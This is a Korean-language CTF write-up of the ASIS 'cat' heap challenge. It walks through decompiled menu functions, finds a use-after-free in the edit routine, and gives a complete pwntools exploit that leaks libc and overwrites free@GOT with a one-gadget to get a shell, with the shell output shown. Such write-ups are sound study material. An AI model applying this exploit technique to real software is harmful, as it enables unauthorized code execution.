Content
Using After Free
GOT overwrite
Analysis
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed int true; // [rsp+8h] [rbp-28h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
canary = __readfsqword(0x28u);
setup();
print_banner();
true = 1;
while ( true )
{
menu();
printf("which command?\n> ");
read(0, &buf, 4uLL);
switch ( atoi(&buf) )
{
case 1:
create();
break;
case 2:
edit();
break;
case 3:
print();
break;
case 4:
print_all();
break;
case 5:
delete();
break;
case 6:
true = 0;
break;
default:
puts("Invalid command! (=+_+=)");
break;
}
}
return 0LL;
}
평범한 메뉴챌린지이다.
create()
__int64 create()
{
void **name; // rbx
__int64 kind; // rbx
__int64 old; // rbx
unsigned int records; // [rsp+4h] [rbp-3Ch]
signed int i; // [rsp+8h] [rbp-38h]
char tmp; // [rsp+10h] [rbp-30h]
unsigned __int64 canary; // [rsp+28h] [rbp-18h]
canary = __readfsqword(0x28u);
records = -1;
for ( i = 0; i <= 9; ++i )
{
if ( !heap[i] )
{
records = i;
break;
}
}
if ( records == -1 )
{
puts("records is full! (=+_+=)");
}
else
{
heap[records] = malloc(0x18uLL);
name = heap[records];
*name = malloc(0x17uLL);
kind = heap[records];
*(kind + 8) = malloc(0x17uLL);
printf("What's the pet's name?\n> ");
*(read(0, *heap[records], 0x16uLL) - 1LL + *heap[records]) = '\0';
printf("What's the pet's kind?\n> ");
*(read(0, *(heap[records] + 1), 0x16uLL) - 1LL + *(heap[records] + 1)) = '\0';
printf("How old?\n> ");
read(0, &tmp, 4uLL);
old = heap[records];
*(old + 16) = atoi(&tmp);
printf("create record id:%d\n", records);
}
return 0LL;
}
청크에 name
-> kind
-> heap pointer management
순으로 값을 채워넣는다.
위 create
함수를 보아 아래와 같은 구조체를 사용함을 알 수 있다.
struct pet
{
char* name;
char* kind;
int age;
};
청크를 하나 할당하면 heap
이라는 전역변수에서 청크를 관리하며, 아래와 같은 layout을 가진다.
malloc(0x18) - pointer management
1. fd : &name
2. bk : &kind
3. next chunk's prev_size : age
malloc(0x17) - name
malloc(0x17) - kind
0x1e35000: 0x0000000000000000 0x0000000000000021
0x1e35010: &name (0x1e35030) &kind (0x1e35050)
0x1e35020: age 0x0000000000000021
0x1e35030: 0x4141414141414141 0x0000000000000000
0x1e35040: 0x0000000000000000 0x0000000000000021
0x1e35050: 0x4242424242424242 0x0000000000000000
0x1e35060: 0x0000000000000000 0x0000000000020fa1
0x1e35070: 0x0000000000000000 0x0000000000000000
0x1e35080: 0x0000000000000000 0x0000000000000000
0x1e35090: 0x0000000000000000 0x0000000000000000
전역변수 heap
에는 첫번째로 malloc(0x18)
된 청크만 들어간다.
delete()
__int64 delete()
{
__int64 result; // rax
unsigned int v1; // [rsp+Ch] [rbp-4h]
v1 = read_id();
if ( v1 == -1 )
{
puts("Invalid id! (=+_+=)");
result = 0LL;
}
else
{
if ( heap[v1] )
{
free(heap[v1]->name);
free(heap[v1]->kind);
free(heap[v1]);
heap[v1] = '\0';
printf("delete id %d\n", v1);
}
else
{
puts("Invalid id! (=+_+=)");
}
result = 0LL;
}
return result;
}
read_id
로 id
를 받아서 모든 청크를 free
시키고, 전역변수에 NULL
을 넣는다.
edit()
__int64 edit()
{
__int64 result; // rax
pet *v1; // rbx
__int64 v2; // rbx
char *name; // rsi
int read_size; // ST0C_4
int kind_size; // eax
__int64 v6; // rbx
char *ptr; // ST10_8
char *old; // ST18_8
unsigned int id; // [rsp+8h] [rbp-48h]
char buf; // [rsp+20h] [rbp-30h]
unsigned __int64 canary; // [rsp+38h] [rbp-18h]
canary = __readfsqword(0x28u);
id = read_id();
if ( id == -1 )
{
puts("Invalid id! (=+_+=)");
result = 0LL;
}
else if ( heap[id] )
{
if ( !pointer )
{
pointer = malloc(0x18uLL);
v1 = pointer;
v1->name = malloc(0x17uLL);
v2 = pointer;
*(v2 + 8) = malloc(0x17uLL);
}
printf("What's the pet's name?\n> ");
name = pointer->name;
read_size = read(0, pointer->name, 0x16uLL);
pointer->name[read_size - 1] = 0;
printf("What's the pet's kind?\n> ", name);
kind_size = read(0, pointer->kind, 0x16uLL);
pointer->kind[kind_size - 1] = 0;
printf("How old?\n> ");
read(0, &buf, 4uLL);
v6 = pointer;
*(v6 + 16) = atoi(&buf);
printf("Would you modify? (y)/n> ", &buf);
read(0, &buf, 4uLL);
if ( buf == 'n' )
{
ptr = pointer->name;
old = pointer->kind;
free(pointer);
free(ptr);
free(old);
}
else
{
free(heap[id]->name);
free(heap[id]->kind);
free(heap[id]);
heap[id] = pointer;
pointer = 0LL;
printf("edit id %d\n", id);
}
result = 0LL;
}
else
{
puts("Invalid id! (=+_+=)");
result = 0LL;
}
return result;
}
먼저, id
를 하나 입력받는다.
그리고 pointer
라는 전역변수 포인터에 name
,kind
,age
를 할당하고, heap[id]
의 값과 pointer
에 할당된 값을 교체할 것인지 물어본다.
여기서 'n'이외의 값을 입력하면, 기존에 있던 heap[id]
를 free
시키고, heap[id]
에 pointer
값을 대입시키고, pointer
를 NULL
로 초기화한다.
즉, 기존 청크와 새로 만든 pointer
청크를 교체하는 것이다.
하지만 여기서 'n'을 입력하면 그냥 청크를 free
시키기만 한다.
여기서 포인터를 NULL
로 초기화 하는 등의 루틴이 없다.
즉, UAF
가 발생한다.
print_
__int64 print()
{
__int64 result; // rax
unsigned int id; // [rsp+Ch] [rbp-4h]
id = read_id();
if ( id == -1 )
{
puts("Invalid id! (=+_+=)");
result = 0LL;
}
else
{
if ( heap[id] )
{
printf("name: %s\nkind: %s\nold: %lu\n", heap[id]->name, heap[id]->kind, *&heap[id]->age);
printf("print id %d\n", id);
}
else
{
puts("Invalid id! (=+_+=)");
}
result = 0LL;
}
return result;
}
그냥 출력함수이다.
Exploit
create("AAAAA","AAAAA","1111")
edit(0,"XXXXX","XXXXX","1111","n")
먼저 위와같이 해주고 create
로 새로운 청크를 하나 더 만들어주면, free
된 청크에 값이 채워진다.
이 과정에서 힙 포인터를 덮어서 AAW
을 만들 수 있다.
여기서 print_
를 통하여 AAR
도 발생하게 된다.
마지막으로 동일한 방법으로 GOT
에 oneshot
을 덮으면 된다.
from pwn import *
#context.log_level = "debug"
binary = "./cat"
e = ELF(binary)
libc = e.libc
r = process(binary)
go = lambda x : r.sendafter("> ",str(x))
def create(name,kind,old):
go(1)
go(name)
go(kind)
go(old)
def edit(index,name,kind,old,modify):
go(2)
go(index)
go(name)
go(kind)
go(old)
go(modify)
def print_(index):
go(3)
go(index)
def print_all():
go(4)
def delete(index):
go(5)
go(index)
ptr = 0x6020a0
pointer = 0x6020f0
create("AAAAA","AAAAA","1111")
edit(0,"XXXXX","XXXXX","1111","n")
create("AAAAA",p64(ptr + 0x10),"1111") # name, fd
edit(0,p64(e.got["free"]),p64(e.got["free"]),"1111","y") # ptr, fd
print_(1)
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= libc.symbols["free"]
log.info("libc_base : " + hex(libc_base))
create("AAAAA","AAAAA","1111")
create("AAAAA","AAAAA","1111")
edit(4,"XXXXX","XXXXX","1111","n")
create("AAAAA",p64(e.got["free"]),"1111")
edit(4,p64(libc_base + 0xf02a4),"XXXXX","1111","n")
r.interactive()
일단 ptr + 0x10
에 free@got
를 만들어준다.
이렇게 libc leak
을 해준다.
그리고 망가진 레이아웃을 다시 고치기 위하여 힙을 하나 할당하고, 이전과 같은 방법을 사용하여 free@got
에 oneshot
을 넣어주면 된다!
Shell
juntae@ubuntu:~/ctf/asis/cat$ p ex.py
[*] '/home/juntae/ctf/asis/cat/cat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './cat': pid 3559
[*] libc_base : 0x7f504fc85000
[*] Switching to interactive mode
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)
'System Hacking (pwnable) > CTF Write-up' 카테고리의 다른 글
[ASIS CTF] FCascasde ( write-up ) (0) | 2019.12.03 |
---|---|
[ASIS CTF] TinyPwn ( write-up ) (0) | 2019.12.03 |
[Rctf] babyheap ( write-up ) (0) | 2019.11.04 |
[Layer7 CTF] Angel-in-us ( write-up ) (0) | 2019.10.11 |
[Layer7 CTF] How old are you? ( write-up ) (0) | 2019.10.11 |